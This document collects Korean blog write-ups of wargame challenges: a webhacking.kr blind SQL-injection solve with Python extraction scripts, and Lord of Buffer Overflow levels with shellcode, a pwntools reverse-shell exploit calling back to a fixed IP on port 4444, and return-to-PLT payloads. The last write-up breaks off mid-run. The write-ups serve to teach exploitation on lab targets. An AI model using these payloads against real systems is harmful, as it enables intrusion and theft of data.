728x90

우클릭 해서 페이지 소스보기를 클릭하면 소스코드가 나온다.

현재 시간이 나오고, 쿠키를 보면 time이름의 쿠키에 unix 시간이 있다.

EditThisCookie를 이용하여 time 값에 0을 넣으면 2070-01-01 09:00:00, 1을 넣으면 2070-01-01 09:00:01이 된다. 초에 반영되는 것을 알 수 있다. 이를 바탕으로 Blind SQL Injection이 가능하다.

1. table 개수(2)

table 개수

<!--
2070-01-01 09:00:02
-->

2. table 명 길이(13)

첫 번째 table 명의 길이를 찾는다. (사실 첫 번째 table에 답이 있다.)

table 명

<!--
2070-01-01 09:00:13
-->

3. table 명(admin_area_pw)

import requests

url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'


def find_tb_name():
    tmp=''
    for i in range(1,27):
        for j in HEX:
            cookie={"time":"(substr(hex((select table_name from information_schema.tables where table_schema=database() limit 0,1)),{},1)='{}')".format(i,j)}
            r=requests.get(url,cookies=cookie)
            if true_phrase in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break
    
find_tb_name()

4. column 개수(1)

column 개수

<!--
2070-01-01 09:00:01
-->

5. column 명 길이(2)

column 명 길이

<!--
2070-01-01 09:00:02
-->

6. column 명(pw)

import requests

url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'

def find_col_name():
    tmp=''
    for i in range(1,5):
        for j in HEX:
            cookie={"time":"(substr(hex((select column_name from information_schema.columns where table_name='admin_area_pw')),{},1)='{}')".format(i,j)}
            r=requests.get(url,cookies=cookie)
            if true_phrase in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break    
                
find_col_name()

7. 데이터 개수(1)

데이터 개수

<!--
2070-01-01 09:00:01
-->

8. 데이터 길이(17)

<!--
2070-01-01 09:00:17
-->

9. 데이터(kudos_to_beistlab)

import requests

url = 'https://webhacking.kr/challenge/web-02/'
true_phrase='2070-01-01 09:00:01'
HEX='0123456789ABCDEF'
            
def find_data():
    tmp=''
    for i in range(1,35):
        for j in HEX:
            cookie={"time":"(substr(hex((select pw from admin_area_pw)),{},1)='{}')".format(i,j)}
            r=requests.get(url,cookies=cookie)
            if true_phrase in r.text:
                tmp+=j
                if len(tmp)==2:
                    print(chr(int(tmp,16)),end="")
                    tmp=''
                break    
                
find_data()

 

728x90

'webhacking.kr' 카테고리의 다른 글

old-04  (0) 2023.02.18
old-03  (0) 2023.02.17
old-01  (0) 2023.02.06
webhacking 33  (2) 2022.12.22
webhacking 32  (0) 2022.12.21
728x90
//처음 접속하면 쿠키 생성하는 코드
<?php
  include "../../config.php";
  if($_GET['view-source'] == 1){ view_source(); }
  if(!$_COOKIE['user_lv']){
    SetCookie("user_lv","1",time()+86400*30,"/challenge/web-01/");
    echo("<meta http-equiv=refresh content=0>");
  }
?>
<?php
  if(!is_numeric($_COOKIE['user_lv'])) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>=4) $_COOKIE['user_lv']=1;
  if($_COOKIE['user_lv']>3) solve(1);
  echo "<br>level : {$_COOKIE['user_lv']}";
?>

하단의 코드에서 solve(1) 부분만 보면된다. $_COOKIE['user_lv']는 user_lv이름의 쿠키값인데 3보단 크고 4보단 작으면 solve(1)이 실행된다.

f12 누르면 웹 개발자 도구가 나온다. application 항목에서 webhacking.kr을 클릭하면 쿠키를 생성, 수정 및 삭제 가능하다.

이미 user_lv 쿠키가 상단의 php 코드에 의해 생성되었으므로 값만 수정한 후 새로고침하면 풀린다.

728x90

'webhacking.kr' 카테고리의 다른 글

old-03  (0) 2023.02.17
old-02  (0) 2023.02.06
webhacking 33  (2) 2022.12.22
webhacking 32  (0) 2022.12.21
webhacking 31  (0) 2022.12.21
728x90
[death_knight@localhost death_knight]$ ls
dropped_item.txt
[death_knight@localhost death_knight]$ cat dropped_item.txt 
	
 You're so great! This is a token to the next gate.

                   ,.
                 ,'  `.
               ,' _<>_ `.
             ,'.-'____`-.`.
           ,'_.-''    ``-._`.
         ,','      /\      `.`.
       ,' /.._  O /  \ O  _.,\ `.
     ,'/ /  \ ``-;.--.:-'' /  \ \`.
   ,' : :    \  /\`.,'/\  /    : : `.
  < <>| |   O >(< (  ) >)< O   | |<> >
   `. : :    /  \/,'`.\/  \    ; ; ,'
     `.\ \  /_..-:`--';-.._\  / /,'
       `. \`'   O \  / O   `'/ ,'
         `.`._     \/     _,','
           `..``-.____.-'',,'
             `.`-.____.-','
               `.  <>  ,'
                 `.  ,' 
                   `'

신기한 문양이 있다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

xavius -> death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

xavius / beg for me

/*
        The Lord of the BOF : The Fellowship of the BOF
        - dark knight
        - remote BOF
*/

#include <stdio.h> 
#include <stdlib.h> 
#include <errno.h> 
#include <string.h> 
#include <sys/types.h> 
#include <netinet/in.h> 
#include <sys/socket.h> 
#include <sys/wait.h> 
#include <dumpcode.h>

main()
{
	char buffer[40];

	int server_fd, client_fd;  
	struct sockaddr_in server_addr;   
	struct sockaddr_in client_addr; 
	int sin_size;

	if((server_fd = socket(AF_INET, SOCK_STREAM, 0)) == -1){
		perror("socket");
		exit(1);
	}

	server_addr.sin_family = AF_INET;        
	server_addr.sin_port = htons(6666);   
	server_addr.sin_addr.s_addr = INADDR_ANY; 
	bzero(&(server_addr.sin_zero), 8);   

	if(bind(server_fd, (struct sockaddr *)&server_addr, sizeof(struct sockaddr)) == -1){
		perror("bind");
		exit(1);
	}

	if(listen(server_fd, 10) == -1){
		perror("listen");
		exit(1);
	}
        
	while(1) {  
		sin_size = sizeof(struct sockaddr_in);
		if((client_fd = accept(server_fd, (struct sockaddr *)&client_addr, &sin_size)) == -1){
			perror("accept");
			continue;
		}
            
		if (!fork()){ 
			send(client_fd, "Death Knight : Not even death can save you from me!\n", 52, 0);
			send(client_fd, "You : ", 6, 0);
			recv(client_fd, buffer, 256, 0);
			close(client_fd);
			break;
		}
            
		close(client_fd);  
		while(waitpid(-1,NULL,WNOHANG) > 0);
	}
	close(server_fd);
}

소켓 프로그래밍을 이용해 서버를 구현하는 코드다. 소켓 프로그래밍은 낯설텐데 뭔가 많아 보여도 세팅과정일 뿐이라 버퍼오버플로우에선 신경 쓰지 않아도 된다. 주목할 점은 6666번 포트를 오픈하여 리스닝하는 것이다.

fork 함수는 자식 프로세스를 만드는 함수다. 부모 프로세스는 fork 함수의 반환값이 자식 프로세스의 pid이며 자식 프로세스는 fork 함수의 반환값이 0이다. 따라서 부모 프로세스는 연결 요청을 수락하고 자식 프로세스를 생성하여 통신을 처리한다. if(!fork())는 자식 프로세스만이 만족하므로 if 문 내부는 자식함수들이 send, recv 즉, 통신한다.

힌트에서도 주어졌듯이 오버플로우 공격문은 단순한데 remote BOF라 소켓 통신을 이용해서 BOF를 실행한다는 점이 다를 뿐이다. buffer의 크기는 40 bytes인데 client로부터 256 bytes를 recv 하므로 BOF 공격이 가능하다.

0x8048a05 <main+321>:	push   0
0x8048a07 <main+323>:	push   0x100
0x8048a0c <main+328>:	lea    %eax,[%ebp-40]
0x8048a0f <main+331>:	push   %eax
0x8048a10 <main+332>:	mov    %eax,DWORD PTR [%ebp-48]
---Type <return> to continue, or q <return> to quit---
0x8048a13 <main+335>:	push   %eax
0x8048a14 <main+336>:	call   0x804860c <recv>

recv의 두 번째 인자가 buffer이기에 ebp-40에 존재함을 알 수 있다. 따라서 기본적인 스택 구조는 buffer(40 bytes)+sfp(4 bytes)+ret addr(4 bytes) 형태이기에 공격문은 다음과 같이 설정한다.

dummy(44 bytes)+ret addr(4 bytes)+ 리버스 쉘 코드

ret addr은 리버스 쉘 코드의 주소로 설정하면 리버스 쉘 코드로 리턴되어 리버스 쉘 코드가 실행될 것이다. 리버스 쉘이란 클라이언트(공격자)가 리스닝 포트를 열고 서버(희생자)에서 클라이언트에 쉘을 들고 와서 붙는 형태이다. 리버스 쉘 코드를 희생자에게서 실행하면 공격자가 희생자의 쉘을 제어할 수 있다.

필자는 peda를 이용하여 ip는 172.25.174.237, port는 4444번으로 설정하여 리버스 쉘 코드를 만들었다.

gdb-peda$ shellcode generate x86/linux connect 4444 172.25.174.237
# x86/linux/connect: 70 bytes
# port=4444, host=172.25.174.237
shellcode = (
    "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
    "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
    "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
    "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
    "\x89\xe1\xb0\x0b\xcd\x80"
)

파이썬으로 익스플로잇 코드를 만들자.

from pwn import *
shell=(
        "\x31\xdb\x53\x43\x53\x6a\x02\x6a\x66\x58\x89\xe1\xcd\x80\x93\x59"
        "\xb0\x3f\xcd\x80\x49\x79\xf9\x5b\x5a\x68\xac\x19\xae\xed\x66\x68"
        "\x11\x5c\x43\x66\x53\x89\xe1\xb0\x66\x50\x51\x53\x89\xe1\x43\xcd"
        "\x80\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53"
        "\x89\xe1\xb0\x0b\xcd\x80"
)

for i in range(0x00,0xff,-1):
    for j in range(0x00,0xff,1):
        p=remote("192.168.93.128",6666)
        payload  = "A"*44 + chr(j) + chr(i) + "\xff\xbf" + "\x90"*100 + shell
        p.recvuntil("You : ")
        p.send(payload)
        p.close()

pwntools 라이브러리를 이용한다. remote를 이용해 LOB서버의 6666번 포트에 연결하고 리턴 주소를 정확히 알 수 없기에 0x00부터 0xFF까지 각 경우에 대하여 매번 연결 요청하여 브루트포스 방식으로 버퍼 오버플로우 공격을 수행한다. 스택이기에 상위 2 bytes는 0xbfff로 고정했다. 연결되면 LOB서버에서 Death Knight : ~부터 You : 까지 클라이언트에게 전송하기에 recvuntil을 이용해 You : 까지 수신해준 뒤 만든 payload를 전송함으로써 공격을 수행 후 연결을 종료한다. 만약 쉘을 획득한다면 연결이 종료되어도 명령을 수행할 수 있다.

fork를 통해 자식 프로세스를 만들면 부모 프로세스의 스택, 힙, 데이터, 코드 영역 값이 복사되며 주소값도 동일하다. 하지만 이는 가상 주소이기에 부모나 자식 프로세스에서 변수의 값을 바꾸면 변수에 매핑되는 물리 주소는 서로 달라진다. 따라서 변수의 주소값은 동일하게 유지되기에 0x00부터 0xFF까지 대입하다보면 무조건 공격이 성공할 수밖에 없다.

[xavius@localhost xavius]$ netstat -antp | grep 6666
(No info could be read for "-p": geteuid()=519 but you should be root.)
tcp        0      0 0.0.0.0:6666            0.0.0.0:*               LISTEN      -

LOB에서 netstat 명령을 실행하면 이미 6666번 포트가 LISTEN 상태임을 알 수 있다. 따라서 death_knight가 이미 실행되고 있기에 다시 실행하려고 하면 에러만 뜰 것이다. 0.0.0.0은 모든 ip를 의미하는데 왼쪽이 local 오른쪽이 foreign이다. 왼쪽의 0.0.0.0은 서버에 할당된 모든 ip의 6666번 포트를 열었다는 뜻이고 오른쪽의 0.0.0.0:*은 모든 ip의 모든 포트로부터의 연결 요청을 받는다는 뜻이다.

hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass

내 pc에서도 nc를 이용해 4444번 포트를 리스닝 상태로 만들었다.

-l(listen) : 리스닝 상태

-v(verbose) : 세부 정보 출력

my-pass 명령을 미리 입력하고 대기한다.(미리 입력 안해도 괜찮음)

이제 python 코드를 실행할 차례다.

hdg@LAPTOP-T8ULMV8T:~$ python revsh.py
[+] Opening connection to 192.168.93.128 on port 6666: Done
revsh.py:14: BytesWarning: Text is not bytes; assuming ASCII, no guarantees. See https://docs.pwntools.com/#bytes
  p.recvuntil("You : ")
revsh.py:15: BytesWarning: Text is not bytes; assuming ISO-8859-1, no guarantees. See https://docs.pwntools.com/#bytes
  p.send(payload)
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
[*] Closed connection to 192.168.93.128 port 6666
[+] Opening connection to 192.168.93.128 on port 6666: Done
(생략)

코드를 실행하면 연결의 맺고 끊김이 계속 반복된다.

hdg@LAPTOP-T8ULMV8T:~$ nc -lv 4444
Listening on LAPTOP-T8ULMV8T 4444
my-pass
Connection received on LAPTOP-T8ULMV8T 4545
euid = 520
got the life

어느 순간 쉘을 획득하고 my-pass 명령 실행 결과가 출력된다.

death_knight의 비밀번호는 got the life

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

nightmare / beg for me

/*
        The Lord of the BOF : The Fellowship of the BOF
        - xavius
        - arg
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

main()
{
	char buffer[40];
	char *ret_addr;

	// overflow!
	fgets(buffer, 256, stdin);//입력 받음
	printf("%s\n", buffer);

	if(*(buffer+47) == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

	if(*(buffer+47) == '\x08')
        {
                printf("binary image retbayed you, too!!\n");
                exit(0);
        }

	// check if the ret_addr is library function or not
	memcpy(&ret_addr, buffer+44, 4);
	while(memcmp(ret_addr, "\x90\x90", 2) != 0)	// end point of function
	{
		if(*ret_addr == '\xc9'){		// leave
			if(*(ret_addr+1) == '\xc3'){	// ret
				printf("You cannot use library function!\n");
				exit(0);
			}
		}
		ret_addr++; 
	}

        // stack destroyer
        memset(buffer, 0, 44);
	memset(buffer+48, 0, 0xbfffffff - (int)(buffer+48));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

memcpy 함수를 통해 buffer+44부터 4 bytes 만큼 ret_addr에 복사한다. buffer+44 memset을 이용해 buffer부터 stack 아래까지 전부 0으로 초기화한다. 대신 ret 주소는 빼고. buffer-3000부터 buffer 전까지도 0이 저장된다.

이번엔 리턴 주소 빼고는 거의 다 0으로 초기화된다. 문제 힌트에 arg가 있는데 이 문제는 fgets로 입력받는다. fgets 함수의 인자로 사용되는 stdin을 들여다보자. stdin은 표준 입력을 의미하며 키보드로 입력받는 것이다.

xavius를 복사하여 gdb를 실행 후 main+26 위치에 break을 걸고 실행한다. hello를 입력한다.

[nightmare@localhost nightmare]$ gdb xavius2 -q
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048714 <main>:	push   %ebp
0x8048715 <main+1>:	mov    %ebp,%esp
0x8048717 <main+3>:	sub    %esp,44
0x804871a <main+6>:	mov    %eax,%ds:0x8049a3c
0x804871f <main+11>:	push   %eax
0x8048720 <main+12>:	push   0x100
0x8048725 <main+17>:	lea    %eax,[%ebp-40]
0x8048728 <main+20>:	push   %eax
0x8048729 <main+21>:	call   0x8048408 <fgets>
0x804872e <main+26>:	add    %esp,12
(생략)
(gdb) b *main+26
Breakpoint 1 at 0x804872e
(gdb) r
Starting program: /home/nightmare/xavius2 
hello

Breakpoint 1, 0x804872e in main ()
(gdb) x/x 0x8049a3c
0x8049a3c <stdin@@GLIBC_2.0>:	0x401068c0
(gdb) x/10x 0x401068c0
0x401068c0 <_IO_2_1_stdin_>:	0xfbad2288	0x40015006	0x40015006	0x40015000
0x401068d0 <_IO_2_1_stdin_+16>:	0x40015000	0x40015000	0x40015000	0x40015000
0x401068e0 <_IO_2_1_stdin_+32>:	0x40015400	0x00000000
(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

fgets 함수의 인자로 제일 처음 push 되는 0x8049a3c를 들여다봤다. 0x401068c0에 들어가 본다. 보니 뭔가가 있다. 0x40015000과 0x40015006을 보니 내가 입력한 hello길이 +1만큼 차이가 난다. fgets 함수는 끝에 \x0a(개행)을 붙이기 때문이다. hello\n이 된다. 그래서 0x40015000을 들어가 보면 hello\n가 존재함을 알 수 있다.

(gdb) b *main+278
Breakpoint 2 at 0x804882a
(gdb) c
Continuing.
hello

Breakpoint 2, 0x804882a in main ()
(gdb) ni
0x400309cb in __libc_start_main (main=???, argc=???, argv=???, init=???, fini=???, 
    rtld_fini=???, stack_end=???) at ../sysdeps/generic/libc-start.c:92
92	../sysdeps/generic/libc-start.c: No such file or directory.

(gdb) x/4x 0x40015000
0x40015000:	0x6c6c6568	0x00000a6f	0x00000000	0x00000000

main 함수의 ret에 break을 걸고 ret명령까지 실행 후에도 hello\n가 stdin에 남아있음을 확인했다. 그렇다면 표준 입력으로 쉘 코드를 전달하고 0x40015000으로 리턴하면 실행할 수 있을 것이다.

[nightmare@localhost nightmare]$ (python -c 'print "\x90"*19+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"+"\x00\x50\x01\x40"';cat)|./xavius 
1󿿐h//shh/bin⏓󿲒°
               ̀ 
my-pass
euid = 519
throw me away

xavius의 비밀번호는 throw me away

참고로 stdin이 EOF를 반환하기에 쉘에 대한 입력을 유지하려면 cat가 필요하다.

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

death_knight  (0) 2023.02.04
xavius -> death_knight  (0) 2023.02.04
succubus -> nightmare  (4) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
728x90

succubus / here to stay

/*
        The Lord of the BOF : The Fellowship of the BOF
        - nightmare
        - PLT
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <dumpcode.h>

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// check address
	addr = (char *)&strcpy;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with strcpy()\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

	// dangerous waterfall
	memset(buffer+40+8, 'A', 4);
}

이번 문제에서는 ret 주소에 strcpy의 plt 주소가 반드시 들어가야한다. buffer+40+8부터 4bytes를 'A'로 초기화하는데 buffer+40+8은 ret 주소+4의 위치다. 즉, 간단한 RET Sled를 막는다. strcpy의 plt 주소가 들어가기에 strcpy 함수를 이용해야한다.

참고로 plt와 got라는 개념이 있다.

PLT(Procedure Linkage Table): 외부 프로시저를 연결해주는 테이블로서 다른 라이브러리에 있는 프로시저를 호출한다.

GOT(Global Offset Table): PLT가 참조하는 테이블로서 프로시저들의 주소가 들어있다.

같은 파일 내의 프로시저라면 PLT가 필요없지만 외부 라이브러리의 함수를 호출할 때는 PLT가 필요하다. 링커가 PLT를 보고 함수를 찾기 때문이다.

함수(PLT)를 호출하면 GOT로 이동하는데 GOT에는 함수의 실제 주소가 있다. 첫 번째 함수 호출이면 GOT에는 함수의 주소가 없고 주소를 알아내는 과정을 거쳐서 알아낸 주소를 GOT에 저장하고 해당 함수를 호출한다. 두 번째 함수 호출부터는 GOT에 함수의 주소가 있기에 이를 바로 이용한다.

먼저 strcpy 함수를 들여다봤다.

(gdb) r `python -c 'print "A"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "A"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) p strcpy
$2 = {char *(char *, char *)} 0x400767b0 <strcpy>
(gdb) disas 0x400767b0
Dump of assembler code for function strcpy:
0x400767b0 <strcpy>:	push   %ebp
0x400767b1 <strcpy+1>:	mov    %ebp,%esp
0x400767b3 <strcpy+3>:	push   %esi
0x400767b4 <strcpy+4>:	mov    %esi,DWORD PTR [%ebp+8]
0x400767b7 <strcpy+7>:	mov    %edx,DWORD PTR [%ebp+12]
0x400767ba <strcpy+10>:	mov    %eax,%esi
(생략)

strcpy는 ebp+8, ebp+12 위치의 인자 2개를 이용한다. strcpy(dest,src)형태로 사용하는데 src에 저장된 문자열을 dest로 복사한다. 따라서 payload 일부만 표현하자면 다음과 같은 형태가 될 것이다.

buffer sfp ret addr(strcpy plt) AAAA dest src

이제 strcpy를 이용해 dest에 문자열을 저장할 수 있게 된 것이다. 또한 strcpy 함수 실행 후에 AAAA가 위치한 주소에 함수의 주소를 저장한다면 해당 함수가 호출될 것이다. 그 함수의 주소는 바로 쉘 코드의 주소라면 쉘 코드가 실행될 것이다.

이를 위해 buffer에 쉘 코드의 주소를 넣고 src에 buffer의 주소를 전달한다. dest는 AAAA의 주소(ret addr+4)를 전달한다. 쉘 코드는 환경 변수로 저장한다. 이제 모두 준비됐다.

0x8048721 <main+109>:	push   %eax
0x8048722 <main+110>:	call   0x8048410 <strcpy>
0x8048727 <main+115>:	add    %esp,8

우선 disas main을 통해 strcpy의 plt가 0x8048410임을 알 수 있다.

[succubus@localhost succubus]$ gdb nightmare2 -q 
(gdb) b main
Breakpoint 1 at 0x80486ba
(gdb) b *main+115
Breakpoint 2 at 0x8048727
(gdb) r `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`
Starting program: /home/succubus/nightmare2 `python -c 'print "AAAA"+"BBBB"+"C"*36+"\x10\x84\x04\x08"+"aaaa"+"DDDD"+"SSSS"'`

Breakpoint 1, 0x80486ba in main ()
(gdb) c
Continuing.

Breakpoint 2, 0x8048727 in main ()
(gdb) x/30x $ebp-48       
0xbffff9f8:	0xbffffb8d	0x08048410	0x41414141	0x42424242
0xbffffa08:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa18:	0x43434343	0x43434343	0x43434343	0x43434343
0xbffffa28:	0x43434343	0x08048410	0x61616161	0x44444444
0xbffffa38:	0x53535353	0x40013800	0x00000002	0x08048420
0xbffffa48:	0x00000000	0x08048441	0x080486b4	0x00000002
0xbffffa58:	0xbffffa74	0x08048350	0x0804877c	0x4000ae60

형태를 갖춰서 payload를 전달했다. buffer의 주소는 0xbffffa00이다. ret+4의 주소는 0xbffffa30이다.

쉘 코드를 환경 변수로 설정하고 주소를 구하자.

//쉘 코드를 환경 변수로 설정
[succubus@localhost succubus]$ export sh=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
// 쉘 코드 주소 구하는 코드
#include <stdio.h>
int main(){
        printf("%p\n",getenv("sh"));
}
//쉘 코드 주소
[succubus@localhost succubus]$ ./getenv 
0xbffffe8d

지금까지 알아낸 것들로 payload를 전달했다.

"AAAA" : dummy

0xbffffe8d : 쉘 코드 주소

"B"*36 : dummy

0x8048410 : strcpy@plt

"aaaa" : dummy

0xbffffa30 : ret+4("aaaa"주소)

0xbffffa04 : 쉘 코드 주소가 저장된 주소(buffer 내부의 0xbffffe8d 값 주소)

[succubus@localhost succubus]$ ./nightmare `python -c 'print "AAAA"+"\x8d\xfe\xff\xbf"+"B"*36+"\x10\x84\x04\x08"+"aaaa"+"\x30\xfa\xff\xbf"+"\x04\xfa\xff\xbf"'`
AAAAþÿ¿BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBaaaa0󽅺ÿ¿
bash$ my-pass
euid = 518
beg for me

왜 굳이 버퍼에 AAAA넣고 쉘 코드 주소를 넣었나?

버퍼 시작 주소에 쉘 코드를 넣고 문제를 풀다보니 core dumped가 발생하고 버퍼 시작 주소가 0xbffffa00로 바꼈다. 근데 0x00이 문제를 일으키는거 같다. 앞에 AAAA를 넣고 풀면 쉽게 풀린다.

nightmare의 비밀번호는 beg for me

참고로 쉘 코드를 환경변수로 등록하는 방식말고 argv[1]의 인자로 쉘 코드를 전달하는 방식도 가능하다. 이 경우는 payload 형태가 다음과 같다.

"A"*44 + strcpy주소(0x8048410) + "A"*4 + 바로 앞의 "A"*4 주소 + 바로 뒤의 쉘 코드 주소의 주소 + 쉘 코드 주소 + 쉘 코드

이렇게 argv[1]의 인자로 전달해도 main 함수 종료 시 strcpy가 호출되며 쉘 코드 주소가 "A"*4 위치에 저장된다. strcpy 종료시 쉘 코드 주소로 ret 명령이 실행되어 쉘 코드가 실행된다.

[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\x6c\xfa\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?퓄?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me
bash$ exit
exit
[succubus@localhost succubus]$ ./nightmare `python -c 'print "A"*44+"\x10\x84\x04\x08"+"A"*4+"\x40\xfa\xff\xbf"+"\x4c\xfa\xff\xbf"+"\xfc\xfb\xff\xbf"+"\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA?AAAA@?풪?웠?퓧???????????????????????????????????????????????????????????????????????????????????????????????????1픐h//shh/bin??S??柰
                                                                               ?
bash$ my-pass
euid = 518
beg for me

첫 번째 경우는 main 함수 내의 stcpy 호출 시 버퍼 근처에 남아있는 쉘 코드의 주소를 이용하는 방식이고 두 번째 경우는 argv[1] 인자로 전달된 쉘 코드의 주소를 이용하는 방식이다. 푸는 방식은 다양하다.

 

728x90

'Lord of Buffer Overflow' 카테고리의 다른 글

xavius -> death_knight  (0) 2023.02.04
nightmare -> xavius  (0) 2023.02.03
zombie_assassin -> succubus  (0) 2023.02.02
assassin -> zombie_assassin  (0) 2023.02.01
giant -> assassin  (0) 2023.02.01
728x90

zombie_assassin / no place to hide

/*
        The Lord of the BOF : The Fellowship of the BOF
        - succubus
        - calling functions continuously 
*/

#include <stdio.h>
#include <stdlib.h>
#include <dumpcode.h>

// the inspector
int check = 0;

void MO(char *cmd)
{
        if(check != 4)
                exit(0);

        printf("welcome to the MO!\n");

	// olleh!
	system(cmd);
}

void YUT(void)
{
        if(check != 3)
                exit(0);

        printf("welcome to the YUT!\n");
        check = 4;
}

void GUL(void)
{
        if(check != 2)
                exit(0);

        printf("welcome to the GUL!\n");
        check = 3;
}

void GYE(void)
{
	if(check != 1)
		exit(0);

	printf("welcome to the GYE!\n");
	check = 2;
}

void DO(void)
{
	printf("welcome to the DO!\n");
	check = 1;
}

main(int argc, char *argv[])
{
	char buffer[40];
	char *addr;

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	// you cannot use library
	if(strchr(argv[1], '\x40')){
		printf("You cannot use library\n");
		exit(0);
	}

	// check address
	addr = (char *)&DO;
        if(memcmp(argv[1]+44, &addr, 4) != 0){
                printf("You must fall in love with DO\n");
                exit(0);
        }

        // overflow!
        strcpy(buffer, argv[1]);
	printf("%s\n", buffer);

        // stack destroyer
	// 100 : extra space for copied argv[1]
        memset(buffer, 0, 44);
	memset(buffer+48+100, 0, 0xbfffffff - (int)(buffer+48+100));

	// LD_* eraser
	// 40 : extra space for memset function
	memset(buffer-3000, 0, 3000-40);
}

DO 함수의 주소를 argv[1][44]~[47]까지 비교하고 있다. 함수 주소를 argv[1]에서 충분히 넘겨줄 수 있도록 buffer+48+100부터 0으로 초기화해 주는 것을 볼 수 있다. check 변수도 조건을 충족하려면 결국 DO부터 MO까지 거쳐가야 system 함수를 실행할 수 있다. 그리고 MO 함수 인자로 "/bin/sh"을 넘겨줘야한다. system 함수의 인자가 되기 때문이다.

[zombie_assassin@localhost zombie_assassin]$ gdb succubus2 -q
(gdb) p MO
$1 = {<text variable, no debug info>} 0x8048724 <MO>
(gdb) p YUT
$2 = {<text variable, no debug info>} 0x804875c <YUT>
(gdb) p GUL
$3 = {<text variable, no debug info>} 0x804878c <GUL>
(gdb) p GYE
$4 = {<text variable, no debug info>} 0x80487bc <GYE>
(gdb) p DO
$5 = {<text variable, no debug info>} 0x80487ec <DO>

DO ~ MO까지 함수의 주소를 찾았다.

(gdb) disas MO
Dump of assembler code for function MO:
0x8048724 <MO>:	push   %ebp
0x8048725 <MO+1>:	mov    %ebp,%esp
(생략)
0x804874d <MO+41>:	mov    %eax,DWORD PTR [%ebp+8]
0x8048750 <MO+44>:	push   %eax
0x8048751 <MO+45>:	call   0x804840c <system>

system 함수의 인자로 ebp+8에 있는 값이 들어가고 있다.

(gdb) b main
Breakpoint 1 at 0x804880e
(gdb) r `python -c 'print "A"*44+"\xec\x87\x04\x08"+"\xbc\x87\x04\x08"+"\x8c\x87\x04\x08"+"\x5c\x87\x04\x08"+"\x24\x87\x04\x08"+"BBBB"+"CCCC"+"/bin/sh"'`
